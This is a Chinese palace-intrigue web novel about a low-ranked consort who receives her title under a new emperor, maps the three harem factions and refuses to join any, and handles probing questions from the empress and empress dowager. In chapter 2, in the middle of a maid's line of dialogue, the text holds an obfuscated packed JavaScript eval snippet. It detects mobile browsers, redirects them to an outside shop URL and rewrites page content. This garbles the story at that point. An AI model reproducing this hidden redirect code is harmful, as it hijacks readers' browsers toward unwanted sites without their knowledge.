《深宫中的光》 1. 新帝上位,位分即定 元启二十七年,腊月廿三,小年。 本该是爆竹声起、祭灶迎福的日子,宸朝京城却被一层化不开的死寂牢牢裹住。紫禁城的红墙之上,往日迎风招展的明黄龙旗早已换作素白幡幔,连绵的丧钟声从午门内漫出,一声接着一声,砸在每一个人的心上,震得人指尖发寒。 养心殿御榻之上,执掌宸朝二十七载的元启帝萧氏,崩了。 先帝的死因,早有定论。入冬以来,南北河务告急、边地雪灾频发,先帝夙兴夜寐批阅奏折,本就积劳成疾,又在腊月里偶感风寒,病势来势汹汹,太医院束手无策,终究是没能熬过这个小年。弥留之际,先帝立下遗诏,传位于时年二十一岁的太子萧敬轩,命朝中重臣尽心辅弼,嗣皇帝位。 消息是辰时三刻传到太子府的。 彼时林清芷正坐在窗边,就着窗外落下来的细碎雪光,绣着一方素色帕子。她是太子府里最不起眼的侍妾之一,无宠,无子嗣,家世普通,进府两年,见过太子萧敬轩的次数,一只手都数得过来。府里的人大多忘了她的存在,只当她是角落里一株无声无息的草。 传旨太监跌跌撞撞冲进府门,带着哭腔的声音穿透重重院落:“皇上驾崩了——遗诏立太子殿下为帝,嗣皇帝位——” 整个太子府,瞬间静了。 不过片刻,压抑的哭声便从各处院落漫出来,有真心的,有假意的,更多的,是藏在哭声里的慌乱与茫然。林清芷握着绣花针的手微微一顿,针尖刺破指尖,渗出来一点殷红的血珠,落在素白锦缎上,像雪地里开了一朵极小的红梅。 她抬眼看向窗外,漫天大雪正纷纷扬扬地落着,盖住了太子府的琉璃瓦,盖住了院中的枯树,也盖住了这世间所有的喧嚣与隐秘。她心里清楚,从这一刻起,她的人生,整个太子府所有女眷的人生,都要天翻地覆了。 接下来的二十七天,是举国同哀的国丧期。 整个太子府都浸在素白与死寂里,所有人都换了粗布素服,摘了所有首饰,每日卯时起身,跟着嫡福晋沈氏去紫禁城内的乾清宫哭灵,日落时分才回府。没有笑语,没有丝竹,连走路都要放轻脚步,生怕触了国丧的忌讳。 林清芷就混在人群里,安安静静地做着自己该做的事,不多说一句话,不多看一眼,却把所有人的动静都收在了眼底。 她看着太子萧敬轩,那个年仅二十一岁的储君,在一夜之间褪去了所有的温和,眉眼间凝起了帝王的冷硬与威仪。他每日守在乾清宫先帝灵前,一边守孝,一边处理朝政,接见朝臣,短短二十七天,便稳稳握住了朝堂的权柄,没有给任何人留下可乘之机。他偶尔抬眼扫过灵前跪坐的潜邸女眷,目光平静无波,没有半分旧情,只有帝王的权衡与审视。 她看着嫡福晋沈氏,这位与新帝同岁、出身名门的原配夫人,自始至终都稳如泰山。她打理着太子府的上下事务,安抚着慌乱的众人,每日带着女眷哭灵,礼数周全,滴水不漏。哪怕是在灵前哭得最悲痛的时候,她的眼神里也始终带着一丝不容置疑的冷静与算计。她的身侧,奶娘抱着四岁的二皇子萧景瑜——新帝唯一的嫡子,小家伙穿着素色小袍,端端正正地坐着,一点都不怕生,眉眼间像极了萧敬轩,自带着一股气度。林清芷心里清楚,这位未来的皇后,想要的从来都不止一个中宫之位,她要的,是后宫绝对的掌控权,是自己儿子未来的储君之位。 她看着侧福晋安氏,这位年方二十、家世仅次于沈氏的贵女,抱着三岁的大公主萧和娴,哭得梨花带雨,却时不时偷眼看向沈氏,眼里藏着藏不住的得意与攀比。安氏性子直,喜怒哀乐都写在脸上,没什么太深的城府,在潜邸时就常常因为一点小事与人置气,可她是潜邸唯一的侧福晋,还诞育了新帝唯一的皇长女,这份底气,让她始终觉得自己是仅次于沈氏的人。 她看着庶福晋白氏,同样二十岁的年纪,抱着襁褓里一岁的二公主萧和媛,安安静静地站在人群里,不哭不闹,礼数周全,却没人敢忽略她。旁人都以为她是母凭女贵,只有林清芷知道,白氏的心机深不可测。在潜邸时,她永远是最温和、最不争不抢的那一个,可每次有风波,她都能恰到好处地站在最有利的位置,从来不会被波及,悄无声息地就从侍妾走到了庶福晋的位置。这样的人,才是这深宫里最可怕的对手。 还有带着五岁大皇子萧景瑞的江氏,抱着两岁三皇子萧景琪的陈氏,以及和她一样的侍妾金氏、何氏、池氏、许氏。每个人的脸上都带着不同的表情,藏着不同的心思,在这国丧的死寂之下,暗流早已汹涌。 林清芷始终垂着眼,安安静静地做个透明人。她今年二十岁,进府两年,无宠无出,家世普通,在所有人眼里,都是最没威胁的那一个。可只有她自己知道,她的心里藏着怎样的算计,她等这一天,等了多久。这深宫是吃人的地方,可也是能让人一步登天的地方,她不想一辈子做角落里的草,她要在这红墙之内,走出自己的路。 正月二十,二十七天国丧期满,新帝萧敬轩在太和殿举行登基大典,正式登极,改元永熙,史称永熙帝。 整个京城,在国丧的死寂之后,迎来了新帝登基的肃穆与威严。而太子府里的所有女眷,都在等着那道决定她们一生命运的圣旨。 正月廿一,大封六宫的圣旨,终于到了。 所有潜邸女眷都集中在太子府正厅,按照位份依次跪在地上,鸦雀无声,连呼吸都放得极轻。宣旨太监捧着明黄圣旨,站在正厅上首,尖细却威严的声音,在寂静的厅内响起,一字一句,都敲在每个人的心上。 “奉天承运,皇帝诏曰:潜邸嫡福晋沈氏,出身名门,淑慎端良,温恭克俭,相佐潜邸多年,甚合朕心,今册立为皇后,居永寿宫正殿,钦此。” 第一个念到的,自然是沈氏。她跪在最前面,素色旗装衬得她身姿挺拔,听到圣旨,脸上没有丝毫多余的表情,只是恭恭敬敬地伏下身,额头贴在冰冷的地面上,声音沉稳,没有一丝波澜:“臣妾谢主隆恩,吾皇万岁万岁万万岁。” 林清芷垂着眼,心里毫无波澜。这是意料之中的事,沈家势大,她是原配嫡妻,又有嫡子傍身,中宫之位,从来都是她的囊中之物。 “侧福晋安氏,毓秀名门,柔嘉端慧,诞育皇长女,晋封宸贵妃,居咸福宫正殿,钦此。” 安氏的身子明显抖了一下,眼里瞬间蓄满了泪,连忙叩首谢恩,声音里带着藏不住的喜意。宸这个封号,与新帝的宸朝国号同字,这份荣宠,是整个后宫独一份的。林清芷抬眼扫了她一眼,心里暗叹,这份太过扎眼的恩宠,配上她那点城府,怕是迟早要栽跟头。 “庶福晋白氏,温恭淑慎,克娴于礼,诞育皇次女,晋封懿妃,居景阳宫正殿,钦此。” 白氏脸上没有丝毫意外,只是抱着怀里的二公主,恭恭敬敬地叩首谢恩,动作行云流水,礼数周全,挑不出一点错处。林清芷的指尖微微收紧,果然,白氏的手段,远比旁人想的要高,无嫡子傍身,却能一步到位封妃,这份能耐,不容小觑。 “侍妾江氏,诞育皇长子,温恭淑慎,晋封贤嫔,居延禧宫正殿,钦此。” 江氏猛地一颤,连忙拉着身边五岁的大皇子萧景瑞一起叩首,声音里带着哭腔,不知道是激动还是紧张。萧景瑞是新帝的皇长子,是嫡子最大的威胁,江氏性子绵软,没什么心机,怕是护不住这个孩子,往后的日子,注定不会太平。 “侍妾陈氏,诞育皇三子,端谨柔顺,晋封淑嫔,居启祥宫正殿,钦此。” 陈氏抱着怀里两岁的三皇子萧景琪,连忙叩首谢恩,脸上满是惶恐与庆幸。她性子温和,没什么主见,母凭子贵封了嫔,也算是有了一席之地,只是在这深宫里,随波逐流,终究难有善终。 圣旨继续往下念,到了位份更低的妾室。 “侍妾金氏,恪慎持躬,淑慎有仪,晋封贵人,赐封号恪,居长春宫东偏殿,钦此。” 金氏跪在林清芷身侧,同样二十岁的年纪,脸上没有丝毫表情,只是恭恭敬敬地叩首谢恩。林清芷的心里微微一凛,金氏和她一样,无宠无出,家世普通,却一步封了贵人,比她还高了一级。旁人只当她运气好,只有林清芷知道,金氏的心机,和她不相上下,甚至比她更狠,往后在这宫里,少不了要交手。 “侍妾何氏,柔顺安贞,娴于礼法,晋封贵人,赐封号恬,居永和宫东偏殿,钦此。” 何氏连忙叩首,脸上满是激动的笑意。她性子活泼,没什么城府,在潜邸时就和众人相处得不错,如今封了贵人,也算是得偿所愿。 “侍妾池氏,温婉恭顺,恪守宫规,晋封常在,赐封号惜,居景仁宫东偏殿,钦此。” 池氏的脸瞬间白了,却还是恭恭敬敬地叩首谢恩,声音里带着一丝压抑的委屈。她性子内向,不爱说话,如今只封了常在,心里的不甘,可想而知。 “侍妾林清芷,柔嘉端慧,克娴于礼,晋封常在,赐封号愉,居承乾宫东偏殿,钦此。” 终于念到了自己的名字。林清芷握着帕子的手微微一顿,随即恭恭敬敬地伏下身,额头贴在冰冷的地面上,声音平稳,没有一丝波澜:“臣妾谢主隆恩,吾皇万岁万岁万万岁。” 周围瞬间传来几道若有若无的目光,有惊讶,有嫉妒,有不屑。 她们惊讶的,从来不是她封了常在,而是她的居所——承乾宫东偏殿。 承乾宫是东六宫之首,历来是宠妃居住的地方,离新帝居住的养心殿,只有一步之遥。如今新帝刚登基,承乾宫正殿还空着,却把她一个无宠无出、家世普通的小小常在,安排在了东偏殿。 这是天大的体面,也是致命的祸端。 她就像是被放在了明面上的靶子,皇后不会容她,宸贵妃不会容她,懿妃不会容她,后宫里所有盯着圣宠的人,都会把她当成眼中钉。 可林清芷的心里,没 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第二日一早,天刚蒙蒙亮,林清芷便起身了。宫女给她换上符合常在位份的素色旗装,梳了简单的发髻,只插了一支素银簪子。国丧期间,不能穿红戴绿,不能施粉黛,可哪怕是这样,也藏不住每个人心里的算计。 她坐着轿子到了永寿宫,这是皇后的居所,庄严肃穆,门口的太监宫女大气都不敢出。林清芷下了轿子,跟着前面的人走进正殿,按照位份站好。 上首的凤椅上,皇后沈氏端坐其上,素色凤袍衬得她威仪十足,眼神冷冷地扫过下方众人,不怒自威。她身侧,奶娘抱着四岁的二皇子萧景瑜,小家伙端端正正地坐着,颇有气度。 左侧首位坐着宸贵妃安氏,抱着三岁的大公主萧和娴,脸上带着得体的笑意,时不时和皇后说几句话,眼里的得意藏都藏不住。右侧首位坐着懿妃白氏,抱着襁褓里的二公主萧和媛,安安静静,温和有礼,挑不出一点错处。 再往下,贤嫔江氏拉着怯生生的大皇子萧景瑞,淑嫔陈氏抱着熟睡的三皇子萧景琪,依次坐着。再往下,是恪贵人金氏、恬贵人何氏,然后是林清芷和惜常在池氏,最后是慎答应许氏,按照位份垂手站着。 众人依规矩给皇后行了三跪九叩的大礼,皇后淡淡开口,声音平静却带着不容置疑的威严:“如今陛下登基,后宫规矩,不能废弛。你们都是潜邸出来的老人,该懂的规矩,都懂。往后在这宫里,安分守己,恪守宫规,管好自己的人,管好自己的嘴,自然有你们的好日子过。若是有人敢兴风作浪,搅乱后宫,本宫绝不轻饶。” 众人连忙起身躬身应道:“臣妾谨遵皇后娘娘教诲。” 皇后的目光,扫过众人,最后落在了林清芷的身上,眼神里带着一丝不易察觉的审视。林清芷垂着眼,恭恭敬敬地站着,没有丝毫慌乱。她知道,皇后已经注意到她了,注意到她这个住进了承乾宫的小小常在。 请安只持续了半个时辰,皇后便以身体不适为由,让众人散了。 众人依次告退,走出永寿宫时,阳光正好,照在紫禁城的红墙黄瓦上,晃得人睁不开眼。各宫的主子带着自己的宫女太监,浩浩荡荡地散去,各怀心思,各奔东西。 林清芷站在永寿宫门口,看着眼前这座金碧辉煌的紫禁城,看着连绵不绝的红墙宫阙,心里微微一动。 这就是她往后要生活的地方了。深墙高院,宫闱深深,到处都是看不见的刀光剑影,到处都是吃人的陷阱。这里没有亲情,没有友情,没有爱情,只有无休止的算计与争斗,只有你死我活的博弈。 很多人进来了,就被这无边的黑暗吞噬了,消失得无影无踪,连一点痕迹都留不下。 可她林清芷,不会。 她坐上轿子,回了自己的承乾宫东偏殿。承乾宫果然气派,哪怕是东偏殿,也比她在太子府的院落大了不少,雕梁画栋,精致无比。宫女太监早已收拾妥当,见她回来,连忙跪下来请安,恭恭敬敬地喊着“愉常在主子吉祥”。 林清芷走进殿内,坐在窗边的软榻上,宫女给她端来一杯热茶。她捧着温热的茶盏,看着窗外的阳光,照在院子里的梅树上,枝头的红梅开得正艳,在白雪的映衬下,格外耀眼。 她的封号是愉。 很多人都觉得,这个封号配她一个小小的常在,太过普通,太过不起眼。可只有她自己知道,这个“愉”字,是她给自己的承诺。 在这吃人的深宫里,她要守住自己心里的那点欢愉,那点清醒,那点不被黑暗吞噬的本心。她要做自己的光,哪怕只是一点微弱的光,也要照亮自己脚下的路,在这无边无际的深宫黑夜里,一步步走下去,活下去,走到最高处。 窗外的风吹过梅枝,落下几片花瓣,飘进窗内,落在她的手背上。林清芷微微勾起唇角,眼里闪过一丝坚定的光。 这深宫里的光,从这一刻起,亮了。 2. 谈论阵营,不愿卷入 从永寿宫出来时,料峭的春风卷着细碎的阳光,扫过紫禁城的红墙黄瓦,带着一丝未散的寒意。各宫的轿子早已在宫门外候着,明黄、朱红、石青的轿帘依次排开,像极了这后宫里泾渭分明的位份与阵营。 宸贵妃安氏率先上了自己的孔雀蓝顶轿,贤嫔江氏与恪贵人金氏紧随其后,三人的轿子浩浩荡荡往咸福宫的方向去了,连多余的眼神都没给旁人留。紧接着是懿妃白氏,她抱着二公主萧和媛,与身旁的淑嫔陈氏低声说了句什么,淑嫔连连点头,惜常在池氏亦步亦趋地跟在身后,三人一同上了轿,往景阳宫方向而去。 皇后宫里的人自然是留在最后的,恬贵人何氏恭恭敬敬地送皇后的凤轿进了永寿宫门,才转身坐上自己的轿子,脸上还带着对中宫的敬畏。剩下的人里,慎答应许氏缩在角落,见位份高的都走了,才慌慌张张地带着宫女往储秀宫去,连头都不敢抬。 宫门前瞬间空了大半,只剩下林清芷和她身后的两个侍女。 “主子,咱们也回承乾宫吗?”清秀上前一步,声音放得极轻。她是跟着林清芷从潜邸过来的,性子直爽,心里藏不住事,脸上还带着刚从永寿宫出来的紧绷。 林清芷抬眼望了望远处的宫道,春日的阳光正好,不似冬日那般凛冽,御花园的方向隐隐传来枝头抽芽的轻响。她微微颔首,声音平静无波:“不着急回去,左右今日没什么事,去御花园里走走吧。” 清禾愣了一下,连忙上前劝道:“主子,如今国丧刚过,各宫主子都盯着呢,咱们这个时候去御花园,万一遇上其他主子,怕是不妥。”清禾是两个侍女里最沉稳的,心思细,凡事都想得周全,从潜邸时就跟着林清芷,最懂自家主子的谨慎。 “无妨。”林清芷淡淡一笑,抬脚往御花园的方向走,“御花园是皇家的园子,难道只许位份高的主子去,不许我这个常在去散散心?咱们安安分分地走,不惹事,不凑前,谁还能挑出错处?” 两个侍女对视一眼,连忙跟了上去。 御花园里果然没什么人。国丧刚过,宫里还禁着丝竹宴饮,各宫主子要么在自己宫里闭门不出,要么忙着拉拢势力,没人有心思来这园子里闲逛。园子里的松柏还带着冬日的苍劲,墙角的红梅却已经开得热闹,枝头缀着点点殷红,衬着未化的残雪,格外好看。 林清芷沿着石子路慢慢走着,脚步放得极轻,目光扫过园中的一草一木,看似随意,却把周围的动静都收在了眼底。她心里清楚,从她住进承乾宫的那一刻起,这后宫里就没有绝对安全的地方,哪怕是这看似清净的御花园,也到处都是看不见的耳朵和眼睛。 走了半盏茶的功夫,几人到了一处背风的暖亭。亭子藏在假山后面,四周种着茂密的松柏,隐蔽得很,阳光却能透过枝叶的缝隙照进来,暖融融的。林清芷走进亭子里,扶着栏杆坐下,清禾连忙拿出随身带着的软垫铺好,清秀则守在亭子门口,警惕地看着四周。 “别守着了,这里没人,进来吧。”林清芷招了招手。 清秀这才松了口气,走进亭子里,憋了一路的话终于忍不住说了出来:“主子,您刚才在永寿宫没看见吗?皇后娘娘那眼神,一直往您身上瞟,还有宸贵妃、懿妃,哪个不是盯着您?咱们现在就跟架在火上烤一样,您怎么还有心思来御花园散心啊?” 林清芷端起清禾递过来的温水,抿了一口,没说话。 清秀见她不吭声,更急了,往前凑了凑,声音压得更低:“主子,不是奴婢多嘴,咱们现在无依无靠的,您虽说是住进了承乾宫,可位份只是个常在,无宠无出,家世也比不过各位主子,这宫里吃人不吐骨头,咱们总得找个靠山,找个合得来的人结盟才行啊!” “结盟?”林清芷抬眼看向她,眼底闪过一丝淡淡的笑意,“你倒说说,这宫里,谁是能结盟的?” 清禾也跟着叹了口气,接过话头:“主子,清秀说的不是没有道理。这才刚入宫两天,宫里的阵营就已经分得明明白白了,咱们要是一直这么单着,迟早要被人当成软柿子捏。” 她顿了顿,把这两天打听到的消息一五一十地说了出来:“如今这后宫里,明面上分了三派。第一派是皇后党,以皇后娘娘为首,她是中宫之主,有嫡子傍身,沈家又是名门望族,在朝中势力滔天,后宫里没人敢轻易得罪她。恬贵人何氏从潜邸时就一直依附皇后娘娘,性子软,没什么心机,只求跟着皇后娘娘安稳度日,是皇后娘娘的心腹。” 林清芷微微颔首,这和她预料的分毫不差。沈氏要的是后宫的绝对掌控权,自然要拉拢几个听话的人在身边,何氏无宠无出,没什么野心,是最好用的棋子。 “第二派是宸贵妃党。”清禾继续说道,“宸贵妃娘娘是潜邸唯一的侧福晋,家世仅次于皇后娘娘,又诞育了大公主,皇上给的封号又是‘宸’字,荣宠无双,自然是唯一能和皇后娘娘抗衡的人。贤嫔江氏娘娘有皇长子,是皇后娘娘的眼中钉,她性子软,没什么城府,护不住大皇子,只能依附宸贵妃娘娘,求一个庇护。” 说到这里,清禾的声音顿了顿,语气里带着一丝警惕:“还有恪贵人金氏,也入了宸贵妃娘娘的阵营。奴婢打听到,入宫第一天,恪贵人就去咸福宫给宸贵妃娘娘请安了,送了不少东西,如今算是宸贵妃娘娘这边的人。” 林清芷握着茶盏的手指微微收紧,眼底闪过一丝了然。果然,金氏的心机远比旁人想的要深。她无宠无出,家世普通,却能一步封贵人,本就惹人注目,如今主动依附宸贵妃,看似是找了个靠山,实则是把自己藏在了宸贵妃的羽翼之下,既不会被皇后针对,又能借着宸贵妃的势力暗中布局,一举两得。这步棋,走得极妙。 “第三派,是懿妃党。”清禾的声音再次响起,“懿妃娘娘看着温和不争,实则心思最深,手段也厉害。淑嫔陈氏娘娘有三皇子,性子怯懦,没什么主见,早就依附了懿妃娘娘,凡事都听她的。惜常在池氏娘娘位份低,性子内向,在宫里没什么依靠,也入了懿妃娘娘的阵营,求一个安稳。” 清秀连忙补充道:“是啊主子,这三派几乎把宫里的人都分完了,剩下的就只有咱们主子,还有储秀宫的慎答应许氏。慎答应娘娘位份最低,胆子又小,连门都不敢出,更别说站队结盟了,跟咱们一样,都是单打独斗的。” 暖亭里静了下来,只有风吹过枝叶的轻响。 林清芷放下手里的茶盏,看着亭外开得正艳的红梅,沉默了许久。她心里清楚,两个侍女说的都是实话,这后宫里,单打独斗从来都没有好下场。可她更清楚,站队结盟,看似是找了靠山,实则是把自己的命交到了别人手里。 皇后势大,可她心狠手辣,眼里容不得沙子,但凡有一点威胁到她和嫡子的人,她都不会放过。依附她,就只能做她手里的刀,用完了就扔,稍有不慎,就是万劫不复。 宸贵妃骄纵张扬,没什么太深的城府,全靠家世和皇上的那点荣宠撑着。她看似能和皇后抗衡,实则根本不是皇后的对手,更何况她身边还有个心思深沉的金氏,跟着她,迟早要被卷进和皇后的正面争斗里,落得个炮灰的下场。 懿妃看似温和无害,不争不抢,实则心机最深,最会借刀杀人。依附她的人,看似得了庇护,实则都是她手里的棋子,什么时候被卖了都不知道。 这三派,哪一派都不是好去处。 “你们说的,我都知道。”林清芷终于开口,声音平静,却带着不容置疑的坚定,“只是这结盟站队,不是小孩子过家家,一旦选了,就没有回头的路了。你们只看到了依附靠山的安稳,却没看到这背后的风险。” 她看向两个侍女,一字一句地说道:“皇后要的是绝对的顺从,我们要是入了皇后党,日后她让我们去对付宸贵妃、懿妃,我们去不去?去了,就是和贵妃、妃嫔结仇,稍有不慎就是死路一条;不去,就是违逆皇后,她第一个容不下我们。” “宸贵妃性子骄纵,眼里容不得人,我们入了她的党,就要事事顺着她,和皇后对着干。她有家世有公主撑腰,输了也能留条性命,我们呢?我们无依无靠,一旦输了,就是粉身碎骨。” “至于懿妃,”林清芷的嘴角勾起一抹淡淡的冷笑,“她看着温和,实则比皇后和宸贵妃都要狠。你们以为淑嫔和惜常在是真的得了她的庇护?不过是她用来挡枪的靶子罢了。跟着她,我们连自己怎么死的都不知道。” 清禾和清秀都愣住了,她们只想着找个靠山安稳度日,却从来没想过这些背后的弯弯绕绕。 “那……那咱们怎么办?”清秀的声音里带着一丝慌乱,“总不能一直这么单着吧?现在所有人都盯着咱们,咱们不站队,岂不是把三派都得罪了?” “不站队,不代表要和所有人为敌。”林清芷站起身,走到亭子门口,看着远处的宫墙,“我们要做的,是谨言慎行,安分守己,不偏不倚,不得罪任何一派,也不掺和任何一派的争斗。皇上把我放在承乾宫,不是让我来给别人当棋子的,是让我来看着这后宫的风起云涌的。” 她顿了顿,声音里带着一丝清醒:“这深宫里,最可靠的从来都不是靠山,是自己。只有自己站稳了脚跟,守住了本心,才能在这吃人的宫墙里活下去。依附别人,终究是把命握在别人手里,我不做这样的事。” 就在这时,假山的另一头隐隐传来了说话声,还有宫女太监的脚步声,听着像是往这边来的。 清秀瞬间变了脸色,连忙拉住林清芷:“主子,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344788|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了!咱们快走吧!” 林清芷侧耳听了听,那声音里带着一丝骄纵,正是宸贵妃安氏的声音。她微微颔首,带着两个侍女从亭子的另一侧绕了出去,避开了迎面而来的人。她现在还不想和任何一派的人扯上关系,更不想在御花园里和宸贵妃遇上,平白惹来闲话。 一路回了承乾宫东偏殿,关上门,隔绝了外面所有的窥探,清秀才松了口气,拍着胸口说:“还好走得快,不然遇上宸贵妃娘娘,又要费一番口舌。” 林清芷坐在软榻上,脸上没什么表情,只是对着两个侍女沉声道:“今天在御花园里说的话,以后不许再提,半个字都不许往外说。这宫里到处都是耳目,墙缝里都藏着耳朵,一句话说错,就可能给我们招来杀身之祸。” 她的语气不重,却带着十足的威严,两个侍女连忙躬身应道:“奴婢记住了,以后绝不再提。” “往后的日子,我们要做的,就是少说话,多做事,多看,多听,不该问的不问,不该管的不管,安安分分地守着这东偏殿,不惹事,也不怕事。”林清芷的目光扫过两人,“你们跟着我从潜邸到这紫禁城,我自然不会亏待你们,但也要记住,祸从口出,谨言慎行,才能活得长久。” “是,奴婢谨遵主子教诲。”两个侍女连忙应下。 夜色很快降临,紫禁城被一层浓重的夜色裹住,只有各宫的宫灯亮着,星星点点,像黑夜里散落的星子。承乾宫东偏殿里只点了两盏灯,光线柔和,林清芷坐在窗边,看着外面漆黑的夜空,一夜无眠。 她心里清楚,今天在御花园里想的,终究只是理想的状态。这后宫里,从来都没有真正的中立,你不站队,就会被所有人当成共同的敌人。她能做的,只有步步为营,小心谨慎,在这三派的夹缝里,走出一条属于自己的路。 第二日天刚蒙蒙亮,清禾和清秀就起身了,轻手轻脚地给林清芷准备梳洗的东西。今日是各宫妃嫔正式定份位后,第一次集体请安,先是要去永寿宫给皇后请安,再由皇后带着所有人去慈宁宫给太后请安,半点差错都不能出。 “主子,今日穿这件月白色的素缎旗装可好?料子是低调的杭绸,不扎眼,也不会失了体面,国丧期穿正好。”清禾捧着叠得整整齐齐的旗装,轻声问道。 林清芷点了点头:“就这件吧。” 清秀给她梳了个简单的两把头,只插了两支素银簪子,连多余的绒花都没戴,脸上也只薄施了一层素粉,半点脂粉气都没有。整个人看着清秀温婉,低调沉稳,挑不出一点错处,却也不会让人觉得寒酸失礼。 卯时正,林清芷带着两个侍女,坐着轿子往永寿宫去了。 到永寿宫的时候,宫门已经开了,不少妃嫔都已经到了。恬贵人何氏、惜常在池氏、慎答应许氏都坐在偏殿里,见林清芷进来,连忙起身。恬贵人位份比她高,只是微微点了点头,惜常在和慎答应则恭恭敬敬地给她行了礼:“愉常在姐姐安。” 林清芷连忙侧身避开,虚扶了一把:“两位妹妹快起来,不必多礼。” 慎答应许氏抬起头,怯生生地看了林清芷一眼,又飞快地低下头,缩到了角落。她今年二十岁,和林清芷同岁,却看着比旁人小了不少,脸色苍白,眼神里满是惶恐,像只受惊的兔子,果然如传闻中一般胆小。 林清芷看着她,心里微微一动。这后宫里,只有她和慎答应是没有站队的,只是慎答应是真的胆小,不敢站队,而她是不想站队。 没过多大会儿,外面传来了太监的唱喏声,宸贵妃安氏到了。 众人连忙起身迎了出去,宸贵妃穿着一身石青色的素缎旗装,头上戴着一支东珠簪子,虽然是素服,却依旧掩不住满身的荣宠与骄纵。贤嫔江氏和恪贵人金氏跟在她身后,三人一进来,偏殿里瞬间安静了下来,众人纷纷行礼:“贵妃娘娘安。” “都起来吧。”宸贵妃摆了摆手,径直走到上首的位置坐下,目光扫过众人,最后落在了林清芷的身上,嘴角勾起一抹似笑非笑的弧度,却没说什么。 贤嫔江氏站在宸贵妃身侧,脸上带着一丝拘谨,时不时偷眼看看宸贵妃,果然是事事都以宸贵妃为先。恪贵人金氏则站在一旁,垂着眼,安安静静的,一句话都不说,可眼神却时不时扫过在场的每一个人,把所有人的动静都收在了眼底。 又过了片刻,懿妃白氏带着淑嫔陈氏到了。两人一身素服,温和有礼,进来先给宸贵妃行了礼,宸贵妃淡淡应了一声,两人便在另一侧的位置坐下。淑嫔陈氏时不时看向懿妃,眼神里满是依赖,惜常在池氏也连忙走到懿妃身后站定,恭恭敬敬的,懿妃党和宸贵妃党,泾渭分明。 辰时正,殿外传来太监的高声唱喏:“皇后娘娘驾到——” 3. 请安风波,申请合盟 所有人都瞬间起身,整理好衣容,快步走到正殿,按照位份依次站好,恭恭敬敬地垂首站着。皇后沈氏身着一身明黄色的素凤袍,头戴九尾凤簪,缓步走了进来,身姿挺拔,威仪十足,径直走到上首的凤椅上坐下。 “臣妾给皇后娘娘请安,皇后娘娘千岁千岁千千岁。”众人齐齐跪下,行三跪九叩的大礼,声音整齐划一,在寂静的正殿里响起。 “都起来吧。”皇后的声音平静无波,却带着不容置疑的威严,目光冷冷地扫过下方众人,“今日是定份位后,第一次集体请安,规矩本宫就不多说了,之前也都提过。入宫不比在潜邸,宫规森严,若是有人敢不守规矩,兴风作浪,本宫绝不轻饶。” “臣妾谨遵皇后娘娘教诲。”众人再次躬身应道。 皇后的目光扫过众人,最后落在了站在常在末位的林清芷身上,嘴角勾起一抹淡淡的笑意,声音却带着一丝不易察觉的试探:“愉常在。” 林清芷心里一凛,连忙出列,跪在地上,垂首道:“奴婢在。” “你住进承乾宫也有两日了,住得还习惯吗?”皇后的声音慢悠悠的,像一把软刀子,直直地刺了过来。 殿里瞬间静了下来,所有人的目光都落在了林清芷的身上,有好奇,有看戏,有幸灾乐祸。谁都知道,这句话是个坑。承乾宫是东六宫之首,历来是宠妃居住的地方,她一个小小的常在住进去,本就惹人非议,皇后这句话,就是要看她有没有觊觎之心。 若是说习惯,便是自认配得上承乾宫,有觊觎高位之心;若是说不习惯,便是对皇上的安排不满,是大不敬。 林清芷的头垂得更低,声音平稳,滴水不漏:“回皇后娘娘的话,承乾宫是皇上所赐,奴婢住得十分安心。只是奴婢位份低微,福薄,不敢叨扰承乾宫正殿的清净,只在东偏殿安分守己,恪守宫规,每日晨昏定省,不敢有半分逾矩,更不敢辜负皇上和娘娘的恩典。” 这番话,既谢了皇上的恩,又表明了自己没有野心,安分守己,还捧了皇后,挑不出半分错处。 皇后挑了挑眉,眼底闪过一丝意外,随即淡淡道:“你能明白就好,起来吧。记住你今天说的话,安分守己,恪守宫规,本宫自然不会亏待你。” “谢皇后娘娘教诲。”林清芷恭恭敬敬地磕了个头,起身退回了原位,脸上没有丝毫波澜,手心却微微出了点汗。她知道,这只是皇后的第一次试探,往后,这样的试探只会越来越多。 请安又持续了半个时辰,皇后叮嘱了几句晨昏定省的规矩,又问了问几位皇子公主的近况,便摆了摆手:“时辰差不多了,随本宫去慈宁宫,给太后娘娘请安吧。” 众人连忙应下,跟在皇后的凤轿身后,浩浩荡荡地往慈宁宫去了。 慈宁宫是太后的居所,比起永寿宫的威严,更多了几分沉淀的底蕴与清净。宫门口种着两株百年的古柏,苍劲挺拔,守着这座安静的宫殿,连走路的声音都不自觉地放轻了。 仁宪太后是先帝的继后,无儿无女,当年是她一手扶持萧敬轩登上太子之位,如今萧敬轩登基,尊她为皇太后,居慈宁宫。太后今年五十岁,看透了后宫的风风雨雨,平日里闭门礼佛,不怎么管后宫的事,可她毕竟是太后,是这后宫里最尊贵的人,一句话,就能决定后宫妃嫔的生死荣辱。 众人跟着皇后走进慈宁宫正殿,殿里燃着淡淡的檀香,让人不自觉地静下心来。太后端坐在上首的凤椅上,穿着一身深棕色的素缎常服,头发梳得整整齐齐,戴着一支素金簪子,脸上没什么表情,眼神清明,带着看透世事的通透,静静地看着下方众人。 “臣妾给太后娘娘请安,太后娘娘福寿安康。”皇后带着众人齐齐跪下,行三跪九叩的大礼,声音恭敬无比。 “都起来吧。”太后的声音温和,却带着十足的威严,“皇帝刚登基,事情多,你们都要安分守己,好好伺候皇帝,打理好后宫,别给皇帝添乱,就是对我最大的孝心了。” “臣妾谨遵太后娘娘教诲。”众人再次躬身应道。 太后抬了抬手,让皇后坐在了身侧的椅子上,又让宸贵妃、懿妃都坐了,其余的人依旧站在下方。她先是问了问几位皇子的情况,拉着贤嫔问了大皇子萧景瑞的功课,又叮嘱皇后好好教养嫡子萧景瑜,言语间对几个皇孙都十分看重,对两位公主也多有安抚,一碗水端得极平,挑不出半分错处。 说了半盏茶的话,太后的目光扫过下方,最后落在了站在常在末位的林清芷身上,微微顿了顿,开口道:“这位就是皇上安排在承乾宫的愉常在?” 